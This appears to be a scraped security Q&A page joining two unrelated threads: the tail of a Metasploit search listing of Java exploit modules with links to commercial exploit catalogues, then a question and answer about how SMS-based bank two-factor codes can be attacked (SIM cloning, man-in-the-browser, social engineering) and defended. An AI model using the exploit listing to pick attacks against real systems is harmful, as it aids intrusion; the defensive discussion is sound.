   exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl   2012-10-16       excellent  Java Applet AverageRangeStatisticImpl Remote Code Execution
   exploit/multi/browser/java_jre17_jaxws                                 2012-10-16       excellent  Java Applet JAX-WS Remote Code Execution
   exploit/multi/browser/java_jre17_jmxbean                               2013-01-10       excellent  Java Applet JMX Remote Code Execution
   exploit/multi/browser/java_jre17_jmxbean_2                             2013-01-19       excellent  Java Applet JMX Remote Code Execution
   exploit/multi/browser/java_jre17_method_handle                         2012-10-16       excellent  Java Applet Method Handle Remote Code Execution
   exploit/multi/browser/java_jre17_provider_skeleton                     2013-06-18       great      Java Applet ProviderSkeleton Insecure Invoke Method
   exploit/multi/browser/java_jre17_reflection_types                      2013-01-10       excellent  Java Applet Reflection Type Confusion Remote Code Execution
   exploit/multi/browser/java_rhino                                       2011-10-18       excellent  Java Applet Rhino Script Engine Remote Code Execution
   exploit/multi/browser/java_rmi_connection_impl                         2010-03-31       excellent  Java RMIConnectionImpl Deserialization Privilege Escalation
   exploit/multi/browser/java_setdifficm_bof                              2009-11-04       great      Sun Java JRE AWT setDiffICM Buffer Overflow
   exploit/multi/browser/java_storeimagearray                             2013-08-12       great      Java storeImageArray() Invalid Array Indexing Vulnerability
   exploit/multi/browser/java_trusted_chain                               2010-03-31       excellent  Java Statement.invoke() Trusted Method Chain Privilege Escalation
   exploit/multi/browser/java_verifier_field_access                       2012-06-06       excellent  Java Applet Field Bytecode Verifier Cache Remote Code Execution
   exploit/multi/browser/mozilla_navigatorjava                            2006-07-25       normal     Mozilla Suite/Firefox Navigator Object Code Execution
   exploit/multi/browser/qtjava_pointer                                   2007-04-23       excellent  Apple QTJava toQTPointer() Arbitrary Memory Access
   exploit/multi/elasticsearch/script_mvel_rce                            2013-12-09       excellent  ElasticSearch Dynamic Script Arbitrary Java Execution
   exploit/multi/http/jboss_deploymentfilerepository                      2010-04-26       excellent  JBoss Java Class DeploymentFileRepository WAR Deployment
   exploit/multi/http/sun_jsws_dav_options                                2010-01-20       great      Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
   exploit/multi/misc/java_jmx_server                                     2013-05-22       excellent  Java JMX Server Insecure Configuration Java Code Execution
   exploit/windows/browser/java_basicservice_impl                         2010-10-12       excellent  Sun Java Web Start BasicServiceImpl Code Execution
   exploit/windows/browser/java_cmm                                       2013-03-01       normal     Java CMM Remote Code Execution
   exploit/windows/browser/java_codebase_trust                            2011-02-15       excellent  Sun Java Applet2ClassLoader Remote Code Execution
   exploit/windows/browser/java_docbase_bof                               2010-10-12       great      Sun Java Runtime New Plugin docbase Buffer Overflow
   exploit/windows/browser/java_mixer_sequencer                           2010-03-30       great      Java MixerSequencer Object GM_Song Structure Handling Vulnerability
   exploit/windows/browser/java_ws_arginject_altjvm                       2010-04-09       excellent  Sun Java Web Start Plugin Command Line Argument Injection
   exploit/windows/browser/java_ws_double_quote                           2012-10-16       excellent  Sun Java Web Start Double Quote Injection
   exploit/windows/browser/java_ws_vmargs                                 2012-02-14       excellent  Sun Java Web Start Plugin Command Line Argument Injection
   exploit/windows/http/hp_nnm_webappmon_ovjavalocale                     2010-08-03       great      HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow

One could use a different exploitation-framework search engine, such as the one from Core Security, to perform a similar extensive search -- https://www.coresecurity.com/products/core-impact/recent-exploits-and-updates?title=java&field_exploit_type_tid=All&field_vulnerabilty_id_value=CVE&field_operating_system_tid=All -- or even the one from Immunity Security -- http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/browse


Could my bank's two-factor authentication be hacked? When I attempt to log in to my bank, an SMS code is sent to my phone. I then type this nine-character code into the bank's Web site, to login to my account.

Is this vulnerable to attack, without hacking the bank's software or server, or without access to my telephone/SMS communications?

How could it be exploited? So far, the only way I can imagine would be for someone to install an app on my phone which intercepts SMS traffic, and resends the code to an attacker. How could I prevent this from happening to me?

You are right in that one of the ways an attacker could intercept the code is to hack your phone. An attacker could also:

Clone your phone's sim, and request a banking code to be sent to your phone's number. they could also possibly clone a non-sim phone as well
Steal your phone. Once they have your phone they could perform transactions
Perform a man in the middle attack when you use your banking site. This has been done already, an attacker uses malware installed on your computer (a man in the browser attack) to direct your banking traffic to a site set up to mimic your bank's page. Or an attacker may subvert a system to act as a proxy. Either way When you type in the code the attacker gets it, then uses the code to perform a transaction
Social engineer your bank to change your mobile phone details to a phone they control. If an attacker knows enough about you, and your bank's procedures aren't tight enough, then the attacker could call your bank pretending to be you and get them to change the mobile number

So what can you do?

Keep control of your mobile phone.
Make sure your computer is kept up to date with patches and anti-malware software
Do all your banking on a virtual machine, and never save its state. If your virtual machine gets hacked and you save the state then the malware will remain in the virtual machine, however if you never save its state the malware won't be able to remain on the virtual machine
Many banks use some sort of authentication code to verify the identity of people calling. Write these down but do not put them onto your computer or phone, that way there's still something an attacker does not know, even if they have full access to your computer and your online identity.

It's not all doom and gloom, most of the time banks can reverse transactions if caught quickly, if you suspect that a fraudulent transaction has taken place get onto your bank ASAP and get their investigators on it. How well this may go depends on what the local laws are and how good your bank is.